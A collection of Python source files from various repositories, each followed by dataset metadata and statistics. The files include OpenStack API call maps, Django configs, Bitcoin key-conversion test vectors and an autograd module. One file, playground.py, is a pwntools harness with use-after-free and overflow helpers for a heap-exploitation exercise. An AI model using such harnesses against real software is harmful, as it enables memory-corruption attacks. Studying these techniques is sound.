'/routers/%NAME%', 'GET', ''): (), (9696, '/v2.0', '/routers/%UUID%', 'DELETE', ''): ('delete_router',), (9696, '/v2.0', '/routers/%UUID%', 'GET', ''): ('get_router',), (9696, '/v2.0', '/routers/%UUID%', 'PUT', ''): ('update_router',), (9696, '/v2.0', '/routers/%UUID%/add_router_interface', 'PUT', ''): ('get_router', 'add_router_interface'), (9696, '/v2.0', '/routers/%UUID%/l3-agents', 'GET', ''): ('get_l3-agents',), (9696, '/v2.0', '/routers/%UUID%/remove_router_interface', 'PUT', ''): ('get_router', 'remove_router_interface'), (9696, '/v2.0', '/security-group-rules', 'GET', ''): (), (9696, '/v2.0', '/security-group-rules', 'POST', ''): ('create_security_group_rule',), (9696, '/v2.0', '/security-group-rules/%UUID%', 'DELETE', ''): ('delete_security_group_rule',), (9696, '/v2.0', '/security-group-rules/%UUID%', 'GET', ''): (), (9696, '/v2.0', '/security-groups', 'GET', ''): (), (9696, '/v2.0', '/security-groups', 'POST', ''): ('create_security_group',), (9696, '/v2.0', '/security-groups/%UUID%', 'DELETE', ''): ('delete_security_group',), (9696, '/v2.0', '/security-groups/%UUID%', 'GET', ''): (), (9696, '/v2.0', '/security-groups/%UUID%', 'PUT', ''): ('update_security_group',), (9696, '/v2.0', '/security-groups?tenant_id=%VALUE%&name=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/subnetpools', 'POST', ''): ('create_subnetpool',), (9696, '/v2.0', '/subnetpools/%UUID%', 'DELETE', ''): (), (9696, '/v2.0', '/subnetpools/%UUID%', 'GET', ''): (), (9696, '/v2.0', '/subnetpools/%UUID%', 'PUT', ''): ('update_subnetpool',), (9696, '/v2.0', '/subnets', 'GET', ''): (), (9696, '/v2.0', '/subnets', 'POST', ''): ('create_subnet',), (9696, '/v2.0', '/subnets/%UUID%', 'DELETE', ''): ('delete_subnet',), (9696, '/v2.0', '/subnets/%UUID%', 'GET', ''): (), (9696, '/v2.0', '/subnets/%UUID%', 'PUT', ''): (), (9696, '/v2.0', '/subnets?fields=%VALUE%&fields=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/subnets?id=%VALUE%', 'GET', ''): ()}
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0.497255
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6,011
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6,011
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63.946809
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0
0
0
3
ca13f5a2b7e69e8ead8b3416408fe4c4517f3578
167
py
Python
7KYU/get_even_numbers.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
4
2021-07-17T22:48:03.000Z
2022-03-25T14:10:58.000Z
7KYU/get_even_numbers.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
null
null
null
7KYU/get_even_numbers.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
3
2021-06-14T14:18:16.000Z
2022-03-16T06:02:02.000Z
from typing import List def get_even_numbers(arr: List[int]) -> List[int]: if len(arr) < 1: return [] return list(filter(lambda i: not(i % 2), arr))
20.875
50
0.610778
27
167
3.703704
0.703704
0.14
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0.239521
167
7
51
23.857143
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0
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1
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0
3
ca4c4257326dffb482bf77d2d863e1a9fe99032c
137
py
Python
proj/pushes/urls.py
TakesxiSximada/adminsite-collection
02fc51c0b0d5b81f1c6829f86f2b144fcdaf0d7e
[ "Apache-2.0" ]
null
null
null
proj/pushes/urls.py
TakesxiSximada/adminsite-collection
02fc51c0b0d5b81f1c6829f86f2b144fcdaf0d7e
[ "Apache-2.0" ]
1
2016-07-27T13:11:33.000Z
2016-07-27T13:11:33.000Z
proj/pushes/urls.py
TakesxiSximada/adminsite-collection
02fc51c0b0d5b81f1c6829f86f2b144fcdaf0d7e
[ "Apache-2.0" ]
null
null
null
from rest_framework import routers from . import views router = routers.DefaultRouter() router.register(r'pushes', views.PushViewSet)
17.125
45
0.79562
17
137
6.352941
0.705882
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0.116788
137
7
46
19.571429
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0
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0
0
1
0
0
0
0
3
ca6e127b34486b1fde939d71dcd9e8af2f3a4daa
322
py
Python
xmlrpc/client.py
davidvoler/ate_meteor
d7ac20638a30e941e0ca8740499743bc26dd57be
[ "MIT" ]
null
null
null
xmlrpc/client.py
davidvoler/ate_meteor
d7ac20638a30e941e0ca8740499743bc26dd57be
[ "MIT" ]
2
2015-08-06T14:08:39.000Z
2015-09-29T09:47:26.000Z
xmlrpc/client.py
davidvoler/ate_meteor
d7ac20638a30e941e0ca8740499743bc26dd57be
[ "MIT" ]
null
null
null
__author__ = 'avraham' from xmlrpclib import ServerProxy port = 9876 class Client(ServerProxy): def __init__(self, ip='127.0.0.1'): ServerProxy.__init__(self, ('http://{}:{}'.format(ip, port))) def get_methods(self): return [x for x in self.system.listMethods() if not x.startswith('sys')]
24.769231
84
0.652174
43
322
4.581395
0.72093
0.081218
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0.038314
0.189441
322
12
85
26.833333
0.716475
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0.096273
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0.25
false
0
0.125
0.125
0.625
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0
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0
1
0
0
0
1
1
0
0
3
ca75cca3856c88a531bc1aaa1c544157626687b1
3,748
py
Python
test/test_bitcoin.py
coinplus-sa/coinplus-solo
e4f385a3d9eb7b72e14e397761fd9a113938917a
[ "MIT" ]
1
2018-08-21T06:28:36.000Z
2018-08-21T06:28:36.000Z
test/test_bitcoin.py
coinplus-sa/coinplus-solo
e4f385a3d9eb7b72e14e397761fd9a113938917a
[ "MIT" ]
1
2019-05-30T06:23:41.000Z
2019-09-03T09:49:06.000Z
test/test_bitcoin.py
coinplus-sa/coinplus-solo
e4f385a3d9eb7b72e14e397761fd9a113938917a
[ "MIT" ]
1
2021-06-30T12:36:25.000Z
2021-06-30T12:36:25.000Z
import unittest from coinplus_solo_redeem.common import wif_export_bitcoin, compute_public_key_sec256k1, address_from_publickey_bitcoin class TestBitcoin(unittest.TestCase): """test of the bitcoin conversion from private key to wif""" def setUp(self): self.test_vector = [("28cb1bccdc33f93c94b73360cef14f0bb0c60774c4819dde1df8e268982851e5", "Kxb1QrK7mFtGayzV2HvuvuoMgbPbCwmJdtPnK4kbcC3XBMXVQbV1"), ("222d6d37a7bff05733340c9636fed4c14f053a78c2dd7c12a270b9efe2ceb668", "KxN9W22CsiquFpLkBLjzsh366BvQnKdEkumTv9jgB3FKHSwF2Zqy"), ("7db31eb00f5136087b914f5725de8f4117be56387aaf5ff5455ee5a5d6c02088", "L1S485xivNwoN8t93rprLfWNA77Egj2G8JJWY8GLWXJmi973Aqsp"), ("a1d01da3cacb1766a78692ccba8fff6a1bca9de088581c284a8ce3aa4711f666", "L2eFh6gDsQEStWY9PjvKNnGEyTwKirQ3mHKh6HXLeieNFpWwFrFa"), ("4f234357b42745698ff9121ed828228005fcc776d18ddd790c525375815a9a77", "KysYXLo4xE37wZE6GPM3Fzfnv4WTmXVVnkAoy9QbfZebMqe5CQtE"), ("ecc33ce35dccef1ec35c8faec5b60024cc506feae3f1a626d4d9f6ada196dce8", "L59wrNzSjE634RuYZVA2iTL2yUg6MwUJa8CbBvSM14693CtQFysg"), ("63f9f5c10e933165ec6af5213abe8ff9e28010b3ada3718db3171fb8cc08a4a0", "Kza3y1piJGUFox6Wn8jN5xhepMVi8S5UHW73XN51zriDE3Dxx7yd"), ("05dd119ad6b50855abd178d843f93ea39d84c6ed13fa0e7d376d57efdddddde0", "KwR7GSmo8XC7GuZrV3sHneKXHt3M2epoqaep1cb3jHTMxs5Rte8g"), ("c9e19496da7f4e6bed5f4c3e7ae79708bfe53baecbf87b1f4a87999343e9ab47", "L3z9AGPQsc9GWPL16mDgb7rBGjN2geLcERAichQ4G6DPoXCvbBuB"), ("14c1e83152c2d4c810d67a66e36c45f596a63ff1324b5d7044f2ce12d74318c3", "Kwv4UHDn9HChQWUJWvASGmU4zymjotoUC8pUcS3p5i6XB9jCkWS2")] self.test_add_vector = [("03cb3e5f30245658e1e3615f1620e5b40f7d9016c0edb3611dd786327dd5e40caa", "1AJyJhYJJfvb1ytwL45XxLePGnGihjXtyg"), ("03c2773e19b0cd4175832d781d521390e5aac7b0841904f93211bf114786f5a145", "13HJFyXMNaY4xRevxzTkGCpL6JTnaZwtqB"), ("0277c3757e791426b7fa43cf64197bfd5c2fe277ece721b12558a52729f6b68b8a", "15UDAMYQFDwEohwHZQSPhUEfMntxqhRwyC"), ("02d93dfcd93a76d7bac5b0fa394ad4bfd6cd92d10a64728b4b5f707d87db9cd2aa", "1JWhC25CxDpThSqSbiaxZcCuSD3W1kBUeU"), ("037049004c5ad576beb518dcc74506df3faf520109a489886b7d1435a63b9b0b88", "18DnvUwwQojE15Nm4yPssppCkvthQrjht1"), ("0260bbacc03555af21f062ff04e9fbde36bcf0ae7396812d336e7f2e5292306f2b", "1F825icztz7iSehEs5k3vp74PmLPNM4eYK"), ("0343710601de0710dd81a0b7102bf1b794809a330caf4e1b4ae6567923c00df6a5", "1LrHM6y5FaajEdr1U6Rt9frJYrd3jUJPaF"), ("028c48ff458287f34cc1ad5c58a441500f8f315e9cabe34ff1601a5a0f791e4d0a", "1GRFJLzwZ84CNBGxrchceVshj4tGwNx1uL"), ("0258cdabe1dad468dda6a7d62bee9e0cddadfe87d664e62df9143e769c017dd651", "1DsnyMCnFcCM94JDZN99FPGaCsS1xxji47"), ("0289a6d2272382ceec291674530eebb1b05dadab88ebf1bc45569ba612a4e3973a", "1Cpia8RVuypnc2QMFjqiZsN8kZT9xUYxTs")] def test_compute_testvector(self): for privatekey_hex, privatekey_wif in self.test_vector: privatekey = bytearray.fromhex(privatekey_hex) self.assertEqual(wif_export_bitcoin(privatekey), privatekey_wif) def test_address_testvector(self): for publickey_hex, address_expected in self.test_add_vector: publickey = bytearray.fromhex(publickey_hex) address = address_from_publickey_bitcoin(publickey) self.assertEqual(address, address_expected)
96.102564
153
0.743863
141
3,748
19.539007
0.560284
0.011615
0.011615
0.019601
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0
0.318348
0.198773
3,748
38
154
98.631579
0.599068
0.014408
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0.585683
0.585683
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1
0.090909
false
0
0.060606
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0.181818
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null
0
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null
0
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0
0
0
0
0
0
0
0
0
3
ca99a6d0c24e8be79c8b7ceda99e07215c385c4b
145
py
Python
discovery/__init__.py
amenezes/discovery-client
9c41456d1cc14f4aab34628ad4e13423e00bc4be
[ "Apache-2.0" ]
2
2019-07-18T22:43:49.000Z
2020-03-09T03:27:41.000Z
discovery/__init__.py
amenezes/discovery-client
9c41456d1cc14f4aab34628ad4e13423e00bc4be
[ "Apache-2.0" ]
20
2019-02-27T19:08:03.000Z
2021-06-22T16:47:32.000Z
discovery/__init__.py
amenezes/discovery-client
9c41456d1cc14f4aab34628ad4e13423e00bc4be
[ "Apache-2.0" ]
null
null
null
import logging from discovery.__version__ import __version__ log = logging.getLogger("discovery-client") log.addHandler(logging.NullHandler())
20.714286
45
0.82069
16
145
6.9375
0.625
0
0
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0
0
0
0
0.082759
145
6
46
24.166667
0.834586
0
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0.110345
0
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0
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1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
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0
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null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
049436623453edf52badd7f36958c3fdba39f850
87
py
Python
django_gotolong/fratio/apps.py
ParikhKadam/gotolong
839beb8aa37055a2078eaa289b8ae05b62e8905e
[ "BSD-2-Clause", "BSD-3-Clause" ]
15
2019-12-06T16:19:45.000Z
2021-08-20T13:22:22.000Z
django_gotolong/fratio/apps.py
ParikhKadam/gotolong
839beb8aa37055a2078eaa289b8ae05b62e8905e
[ "BSD-2-Clause", "BSD-3-Clause" ]
14
2020-12-08T10:45:05.000Z
2021-09-21T17:23:45.000Z
django_gotolong/fratio/apps.py
ParikhKadam/gotolong
839beb8aa37055a2078eaa289b8ae05b62e8905e
[ "BSD-2-Clause", "BSD-3-Clause" ]
9
2020-01-01T03:04:29.000Z
2021-04-18T08:42:30.000Z
from django.apps import AppConfig class FratioConfig(AppConfig): name = 'fratio'
14.5
33
0.747126
10
87
6.5
0.9
0
0
0
0
0
0
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0.172414
87
5
34
17.4
0.902778
0
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0.068966
0
0
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0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
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null
0
0
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0
0
0
0
0
1
0
0
0
0
3
04aa8d5140919fcae6e3bfc59fd518b87bf275c1
138
py
Python
pubmed/test.py
excelsimon/Pubmed-author_email-extract
2936573ae3c466021a6f7686c7f9de8c329c69eb
[ "MIT" ]
1
2017-08-14T03:49:03.000Z
2017-08-14T03:49:03.000Z
pubmed/test.py
excelsimon/Pubmed-author_email-extract
2936573ae3c466021a6f7686c7f9de8c329c69eb
[ "MIT" ]
null
null
null
pubmed/test.py
excelsimon/Pubmed-author_email-extract
2936573ae3c466021a6f7686c7f9de8c329c69eb
[ "MIT" ]
4
2017-05-13T05:27:52.000Z
2020-11-05T16:17:20.000Z
emailList = [] f = open('test.txt','r') for ln in f: if ' ' in ln: continue emailList.append(ln) print 'emailList: ',emailList
17.25
30
0.608696
20
138
4.2
0.65
0
0
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0
0
0
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0
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0
0.224638
138
7
31
19.714286
0.785047
0
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null
null
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null
0.142857
1
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null
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0
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1
0
0
0
0
0
0
0
0
3
04b4c42aeadb0c3faacf2f366d88c42a83a72272
871
py
Python
playground.py
Hank0438/heap_tracer
5783e605bbbb85e88767450ed1865b9aebef1bc6
[ "BSD-2-Clause" ]
null
null
null
playground.py
Hank0438/heap_tracer
5783e605bbbb85e88767450ed1865b9aebef1bc6
[ "BSD-2-Clause" ]
null
null
null
playground.py
Hank0438/heap_tracer
5783e605bbbb85e88767450ed1865b9aebef1bc6
[ "BSD-2-Clause" ]
null
null
null
from pwn import * r = process("./playground.c") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") # libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") def malloc(num): r.recvuntil(">") r.sendline("1") r.recvuntil(": ") r.sendline(str(num)) def fill_chunk(num): r.recvuntil(">") r.sendline("2") r.recvuntil(": ") r.sendline(str(num)) def free(num): r.recvuntil(">") r.sendline("3") r.recvuntil(": ") r.sendline(str(num)) def uaf(num): r.recvuntil(">") r.sendline("4") r.recvuntil(": ") r.sendline(str(num)) def overflow(num, overflow_num): r.recvuntil(">") r.sendline("5") r.recvuntil(": ") r.sendline(str(num)) def fake_free(): r.recvuntil(">") r.sendline("6") r.recvuntil(": ") r.sendline(str(num)) malloc(0) r.interactive()
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871
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0.282655
0.488223
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0
0
0
0
0
3
04c1a63427741f65b7771c11cc01a39bfb09f703
476
py
Python
cal_tools/struct/submesh.py
hsoju/cal-tools
b6b24926d1e32ecd09dd469be20538fcdafb0e15
[ "MIT" ]
null
null
null
cal_tools/struct/submesh.py
hsoju/cal-tools
b6b24926d1e32ecd09dd469be20538fcdafb0e15
[ "MIT" ]
null
null
null
cal_tools/struct/submesh.py
hsoju/cal-tools
b6b24926d1e32ecd09dd469be20538fcdafb0e15
[ "MIT" ]
null
null
null
from typing import Collection from cal_tools.struct.face import CalFace from cal_tools.struct.morph import CalMorph from cal_tools.struct.vertex import CalVertex class CalSubmesh: def __init__(self, material: int, vertices: Collection[CalVertex], faces: Collection[CalFace], morphs: Collection[CalMorph] = None): self.material = material self.vertices = vertices self.faces = faces self.morphs = morphs if morphs else ()
34
98
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57
476
5.842105
0.45614
0.063063
0.108108
0.162162
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0.212185
476
13
99
36.615385
0.888
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1
0
0
3
04d1bc1dce7c6269c003373d2cc9252ec617a91c
596
py
Python
flask-app/app/app/core/app_setup.py
mcelisr1/flask-docker-backend-stack
07c640401c42db843ba3e77bba460224591506ab
[ "MIT" ]
2
2019-04-30T23:48:36.000Z
2019-07-17T15:26:57.000Z
flask-app/app/app/core/app_setup.py
mcelisr1/flask-docker-backend-stack
07c640401c42db843ba3e77bba460224591506ab
[ "MIT" ]
null
null
null
flask-app/app/app/core/app_setup.py
mcelisr1/flask-docker-backend-stack
07c640401c42db843ba3e77bba460224591506ab
[ "MIT" ]
null
null
null
# Import app code from app.main import app # noqa # Set up global variables from app.core import data # noqa # Set up Config Environments from app.core import config # noqa # Set up flask db session from app.core.db.session import db_session # noqa # Load dafault data on DB from app.core.db.init_db import load_default_data # Set up CORS from . import cors # noqa from .jwt import jwt # noqa from . import errors # noqa # Set up Flask Endpoints from ..api.v1 import api as api_v1 # noqa @app.before_first_request def setup(): # Load dafault data on DB load_default_data()
21.285714
50
0.731544
101
596
4.227723
0.336634
0.081967
0.084309
0.079625
0.088993
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0.204698
596
27
51
22.074074
0.896624
0.357383
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true
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0
0
1
0
1
0
1
0
0
3
04dd4054cf822a4ba24699d6faff9a798c1077f5
360
py
Python
py_elasticinfra/metrics/cpu_load.py
NullConvergence/py_metrics
fa58959591a1a4ee90cb4145acd4ed5f9f6c3b8a
[ "MIT" ]
null
null
null
py_elasticinfra/metrics/cpu_load.py
NullConvergence/py_metrics
fa58959591a1a4ee90cb4145acd4ed5f9f6c3b8a
[ "MIT" ]
null
null
null
py_elasticinfra/metrics/cpu_load.py
NullConvergence/py_metrics
fa58959591a1a4ee90cb4145acd4ed5f9f6c3b8a
[ "MIT" ]
null
null
null
import psutil from .base import BaseMetric class CpuLoad(BaseMetric): def __init__(self): pass def measure(self): load = psutil.cpu_percent() cpu_threads = psutil.cpu_percent(percpu=True) return {'cpu_load_average': load, 'cpu_load_threads': cpu_threads} def get_type(self): return 'cpu'
21.176471
53
0.630556
43
360
4.976744
0.511628
0.084112
0.149533
0
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0.277778
360
16
54
22.5
0.823077
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false
0.083333
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1
0
1
0
0
1
0
0
3
04e56c9e1ac441e2b6c321a2b4209ef7f3040dfc
1,562
py
Python
merch_week.py
m-paulus/merch_calendar
1b5065828c91685b92135f892ef4054082013fb1
[ "MIT" ]
null
null
null
merch_week.py
m-paulus/merch_calendar
1b5065828c91685b92135f892ef4054082013fb1
[ "MIT" ]
null
null
null
merch_week.py
m-paulus/merch_calendar
1b5065828c91685b92135f892ef4054082013fb1
[ "MIT" ]
null
null
null
import merch_calendar from datetime import date, timedelta import calendar class MerchWeek: def __init__(self, year, month, week): try: self._date = merch_calendar.start_of_week(year, month, week) except: raise @classmethod def from_date(cls, date): year = merch_calendar.year(date) month = merch_calendar.month(date) week = merch_calendar.week_of_month(date) return cls(year, month, week) @classmethod def from_year_week(cls, year, week): if week < 1 or week > merch_calendar.weeks_in_year(year): raise ValueError('Week number out of range') return cls(year, 1, week) @property def year(self): return merch_calendar.year(self._date) @property def month(self): return merch_calendar.month(self._date) @property def week_of_month(self): return merch_calendar.week_of_month(self._date) @property def week_of_year(self): return merch_calendar.week_of_year(self._date) @property def month_abbr(self): return calendar.month_abbr[merch_calendar.to_julian_month(self.month)] @property def month_name(self): return calendar.month_name[merch_calendar.to_julian_month(self.month)] @property def start_date(self): return self._date @property def end_date(self): return self._date + timedelta(6) def __repr__(self): return "<MerchWeek: "+str(self.year)+" WK"+"{n:02d}".format(n=self.week_of_year)+">"
26.033333
92
0.65493
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1,562
4.717073
0.219512
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0.08273
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0.406412
0.275078
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0.09514
0.09514
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0.246479
1,562
59
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26.474576
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0.195652
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0
1
1
0
0
3
04ef6f0e489ba56bb79c74e9f8745f375bebe0bc
3,840
py
Python
hybmc/models/DeterministicModel.py
sschlenkrich/HybridMonteCarlo
72f54aa4bcd742430462b27b72d70369c01f9ac4
[ "MIT" ]
3
2021-08-18T18:34:41.000Z
2021-12-24T07:05:19.000Z
hybmc/models/DeterministicModel.py
sschlenkrich/HybridMonteCarlo
72f54aa4bcd742430462b27b72d70369c01f9ac4
[ "MIT" ]
null
null
null
hybmc/models/DeterministicModel.py
sschlenkrich/HybridMonteCarlo
72f54aa4bcd742430462b27b72d70369c01f9ac4
[ "MIT" ]
3
2021-01-31T11:41:19.000Z
2022-03-25T19:51:20.000Z
#!/usr/bin/python import numpy as np from hybmc.models.StochasticProcess import StochasticProcess class DeterministicModel(StochasticProcess): # Python constructor def __init__(self, domAlias, # name of our domestic (numeraire) currency domCurve, # domestic (discounting) yield curve forAliases, # list of foreign currencies (all relative to dom currency) forAssetSpots, # list of foreign asset initial values forCurves ): # list of foreign (discounting) yield curves # self.domAlias = domAlias self.domCurve = domCurve self.forAliases = forAliases self.forAssetSpots = forAssetSpots self.forCurves = forCurves # # we need to know the model index for a given alias if self.forAliases is not None: self.index = { self.forAliases[k] : k for k in range(len(self.forAliases)) } else: self.index = None def size(self): return 0 def factors(self): return 0 def initialValues(self): return np.array([]) def evolve(self, t0, X0, dt, dW, X1): # there is nothing to be done return # the short rate over an integration time period # this is required for drift calculation in multi-asset and hybrid models def shortRateOverPeriod(self, t0, dt, X0, X1): B_d = self.domCurve.discount(t0) / self.domCurve.discount(t0 + dt) # deterministic drift part for r_d return np.log(B_d) / dt # bond volatility is used in hybrid model vol adjuster def zeroBondVolatility(self, t, T): # we wrap scalar bond volatility into array to allow # for generalisation to multi-factor models return np.array([ ]) def zeroBondVolatilityPrime(self, t, T): # we wrap scalar bond volatility into array to allow # for generalisation to multi-factor models return np.array([ ]) # interface for payoff calculation def numeraire(self, t, X): return 1.0 / self.domCurve.discount(t) def asset(self, t, X, alias): k = self.index[alias] # this should throw an exception if alias is unknown return self.forAssetSpots[k] * self.forCurves[k].discount(t) / self.domCurve.discount(t) def zeroBond(self, t, T, X, alias): if alias is None or alias==self.domAlias: return self.domCurve.discount(T) / self.domCurve.discount(t) k = self.index[alias] # this should throw an exception if alias is unknown return self.forCurves[k].discount(T) / self.forCurves[k].discount(t) def path(self): return self.Path(self) # for actual payoffs we need a path object class Path(): # Python constructor def __init__(self, model): self.model = model # the numeraire in the domestic currency used for discounting future payoffs def numeraire(self, t): # we may add numeraire adjuster here... return self.model.numeraire(t,None) # a domestic/foreign currency zero coupon bond def zeroBond(self, t, T, alias): # we may add zcb adjuster here return self.model.zeroBond(t, T, None, alias) # an asset price for a given currency alias def asset(self, t, alias): # we may add asset adjuster here return self.model.asset(t, None, alias) # there are no components to keep track of def stateAliases(self): return [] def factorAliases(self): return [] # some easy to use functions def DcfModel(curve): return DeterministicModel(None,curve,None,None,None)
35.88785
110
0.610938
475
3,840
4.915789
0.309474
0.017131
0.051392
0.035974
0.285225
0.182013
0.140471
0.140471
0.140471
0.140471
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0.004542
0.311979
3,840
106
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0.879258
0.32474
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false
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0.683333
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0
0
1
0
0
0
1
1
0
0
3
04f0e3299aae2df07132187459eead6effe98308
16
py
Python
pyvcdr/__init__.py
EtlamGit/pyvcdr
abb475d1389b069e6b8ae53d50329e64c3f0e261
[ "MIT" ]
null
null
null
pyvcdr/__init__.py
EtlamGit/pyvcdr
abb475d1389b069e6b8ae53d50329e64c3f0e261
[ "MIT" ]
null
null
null
pyvcdr/__init__.py
EtlamGit/pyvcdr
abb475d1389b069e6b8ae53d50329e64c3f0e261
[ "MIT" ]
null
null
null
name = "pyvcdr"
8
15
0.625
2
16
5
1
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0
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0
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0.1875
16
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16
0.769231
0
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0
0
0
0
0
0
0
0
3
04fb5d0dbcd3e4b473928d99c92155cb381bc3e9
5,632
py
Python
autograd/container_types.py
EnjoyLifeFund/py36pkgs
0ac677fbbfa7b6d8c527fe2c759ba05117b07fd2
[ "MIT", "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
autograd/container_types.py
EnjoyLifeFund/py36pkgs
0ac677fbbfa7b6d8c527fe2c759ba05117b07fd2
[ "MIT", "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
autograd/container_types.py
EnjoyLifeFund/py36pkgs
0ac677fbbfa7b6d8c527fe2c759ba05117b07fd2
[ "MIT", "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import from autograd.core import (primitive, Node, VSpace, register_node, vspace, register_vspace, SparseObject) from builtins import zip from future.utils import iteritems from functools import partial import autograd.numpy as np class SequenceNode(Node): __slots__ = [] def __getitem__(self, idx): return sequence_take(self, idx) def __len__(self): return len(self.value) def __add__(self, other): return sequence_extend_right(self, *other) def __radd__(self, other): return sequence_extend_left(self, *other) register_node(SequenceNode, tuple) register_node(SequenceNode, list) @primitive def sequence_take(A, idx): return A[idx] def grad_sequence_take(g, ans, vs, gvs, A, idx): return sequence_untake(g, idx, vs) sequence_take.defvjp(grad_sequence_take) @primitive def sequence_extend_right(seq, *elts): return seq + type(seq)(elts) def grad_sequence_extend_right(argnum, g, ans, vs, gvs, args, kwargs): seq, elts = args[0], args[1:] return g[:len(seq)] if argnum == 0 else g[len(seq) + argnum - 1] sequence_extend_right.vjp = grad_sequence_extend_right @primitive def sequence_extend_left(seq, *elts): return type(seq)(elts) + seq def grad_sequence_extend_left(argnum, g, ans, vs, gvs, args, kwargs): seq, elts = args[0], args[1:] return g[len(elts):] if argnum == 0 else g[argnum - 1] sequence_extend_left.vjp = grad_sequence_extend_left @primitive def sequence_untake(x, idx, vs): if isinstance(idx, int): accum = lambda result: vs.shape[idx].mut_add(result, x) else: accum = lambda result: [elt_vs.mut_add(a, b) for elt_vs, a, b in zip(vs.shape[idx], result, x)] def mut_add(A): result = list(A) result[idx] = accum(result[idx]) return vs.sequence_type(result) return SparseObject(vs, mut_add) sequence_untake.defvjp(lambda g, ans, vs, gvs, x, idx, _: sequence_take(g, idx)) sequence_untake.defvjp_is_zero(argnums=(1, 2)) @primitive def make_sequence(sequence_type, *args): return sequence_type(args) make_sequence.vjp = lambda argnum, g, sequence_type, *args: g[argnum - 1] make_tuple = partial(make_sequence, tuple) make_list = partial(make_sequence, list) class SequenceVSpace(VSpace): def __init__(self, value): self.shape = [vspace(x) for x in value] self.size = sum(s.size for s in self.shape) self.sequence_type = type(value) assert self.sequence_type in (tuple, list) def zeros(self): return self.sequence_type(x.zeros() for x in self.shape) def mut_add(self, xs, ys): return self.sequence_type(vs.mut_add(x, y) for vs, x, y in zip(self.shape, xs, ys)) def flatten(self, value, covector=False): if self.shape: return np.concatenate( [vs.flatten(v, covector) for vs, v in zip(self.shape, value)]) else: return np.zeros((0,)) def unflatten(self, value, covector=False): result = [] start = 0 for vs in self.shape: N = vs.size result.append(vs.unflatten(value[start:start + N], covector)) start += N return self.sequence_type(result) register_vspace(SequenceVSpace, list) register_vspace(SequenceVSpace, tuple) class DictNode(Node): __slots__ = [] def __getitem__(self, idx): return dict_take(self, idx) def __len__(self): return len(self.value) def __iter__(self): return self.value.__iter__() def items(self): return list(self.iteritems()) def keys(self): return list(self.iterkeys()) def values(self): return list(self.itervalues()) def iteritems(self): return ((k, self[k]) for k in self) def iterkeys(self): return iter(self) def itervalues(self): return (self[k] for k in self) register_node(DictNode, dict) @primitive def dict_take(A, idx): return A[idx] def grad_dict_take(g, ans, vs, gvs, A, idx): return dict_untake(g, idx, vs) dict_take.defvjp(grad_dict_take) @primitive def dict_untake(x, idx, vs): def mut_add(A): A[idx] = vs.shape[idx].mut_add(A[idx], x) return A return SparseObject(vs, mut_add) dict_untake.defvjp(lambda g, ans, vs, gvs, x, idx, _: dict_take(g, idx)) dict_untake.defvjp_is_zero(argnums=(1, 2)) def make_dict(pairs): keys, vals = zip(*pairs) return _make_dict(make_list(*keys), make_list(*vals)) @primitive def _make_dict(keys, vals): return dict(zip(keys, vals)) _make_dict.defvjp(lambda g, ans, vs, gvs, keys, vals: make_list(*[g[key] for key in keys]), argnum=1) class DictVSpace(VSpace): def __init__(self, value): self.shape = {k : vspace(v) for k, v in iteritems(value)} self.size = sum(s.size for s in self.shape.values()) def zeros(self): return {k : v.zeros() for k, v in iteritems(self.shape)} def mut_add(self, xs, ys): return {k : v.mut_add(xs[k], ys[k]) for k, v in iteritems(self.shape)} def flatten(self, value, covector=False): if self.shape: return np.concatenate( [s.flatten(value[k], covector) for k, s in sorted(iteritems(self.shape))]) else: return np.zeros((0,)) def unflatten(self, value, covector=False): result = {} start = 0 for k, s in sorted(iteritems(self.shape)): N = s.size result[k] = s.unflatten(value[start:start + N], covector) start += N return result register_vspace(DictVSpace, dict)
34.552147
91
0.649148
823
5,632
4.256379
0.132442
0.035969
0.01199
0.017985
0.384528
0.33143
0.316871
0.265487
0.209535
0.147873
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0.227983
5,632
162
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34.765432
0.801518
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0
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0
0
0
1
1
0
0
3
b6b9caeebc32813369795932495c71aeac2c4847
244
py
Python
statuscheck/services/sentry.py
amureki/statuscheck
caff92ef211f1fd2bf6c8a18ba8243eb434bc0df
[ "Apache-2.0" ]
35
2018-10-22T06:04:55.000Z
2022-02-01T10:20:00.000Z
statuscheck/services/sentry.py
amureki/statuscheck
caff92ef211f1fd2bf6c8a18ba8243eb434bc0df
[ "Apache-2.0" ]
209
2018-10-22T11:44:57.000Z
2022-03-31T04:02:37.000Z
statuscheck/services/sentry.py
amureki/statuscheck
caff92ef211f1fd2bf6c8a18ba8243eb434bc0df
[ "Apache-2.0" ]
2
2020-06-05T02:41:19.000Z
2020-09-03T07:03:46.000Z
from statuscheck.services.bases._statuspageio import BaseStatusPageAPI class ServiceAPI(BaseStatusPageAPI): name = "Sentry" domain_id = "t687h3m0nh65" status_url = "https://status.sentry.io" service_url = "https://sentry.io/"
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3
b6ba87cd65c4a5ebab94e9028834ee5c431dddfa
4,145
py
Python
DQM/HLTEvF/test/hlt_jetmet_test_dqm_fromfile_cfg.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
852
2015-01-11T21:03:51.000Z
2022-03-25T21:14:00.000Z
DQM/HLTEvF/test/hlt_jetmet_test_dqm_fromfile_cfg.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
30,371
2015-01-02T00:14:40.000Z
2022-03-31T23:26:05.000Z
DQM/HLTEvF/test/hlt_jetmet_test_dqm_fromfile_cfg.py
ckamtsikis/cmssw
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
[ "Apache-2.0" ]
3,240
2015-01-02T05:53:18.000Z
2022-03-31T17:24:21.000Z
